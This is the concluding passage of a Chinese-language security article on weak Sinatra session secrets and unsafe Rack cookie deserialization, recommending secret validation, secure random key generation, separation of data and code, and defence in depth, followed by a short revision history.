最后,Sinatra 和 Rack 中可以做出一些代码设计选择来防止这种情况发生。Sinatra 可以向 :session_secret 添加验证,检查它是否是 64 字节的十六进制编码数据。这样做将使错误设置太弱的值变得更加困难。在 Rack 方面,虽然能够序列化和反序列化本机 Ruby 对象很方便,但事实证明这是一种不安全策略。它违反了安全开发原则“数据和代码分离”,让攻击者有机会通过操纵输入数据以意外的方式更改代码路径。即使 Cookie 数据应该是受信任的,“纵深防御”的原则也鼓励我们考虑已经设法绕过我们一些缓解措施的攻击者。
结论
最终,好消息是,有很多地方可以防止这个问题。
应用程序开发人员可以牢记基本的安全性意识,并帮助营造重视安全性的文化。需要牢记的关键原则之一是保持秘密。使用密码安全随机数生成器生成秘密并制定密钥管理策略将帮助我们实现这一目标。
库和框架作者可以包含默认情况下安全的示例和初始设置,并遵循安全开发指南,如数据和代码分离以及纵深防御。
事实上,Sinatra 现在 建议从环境变量中包含会话密钥,并提供有关如何安全生成密钥的明确说明。感谢 @zzak 和 @grempe!
希望随着我们的行业继续意识到软件漏洞的影响,我们将继续看到更多此类主动控制措施付诸实践。
重大修订
2017 年 4 月 3 日:发布文章的其余部分
2017 年 3 月 30 日:发布第一期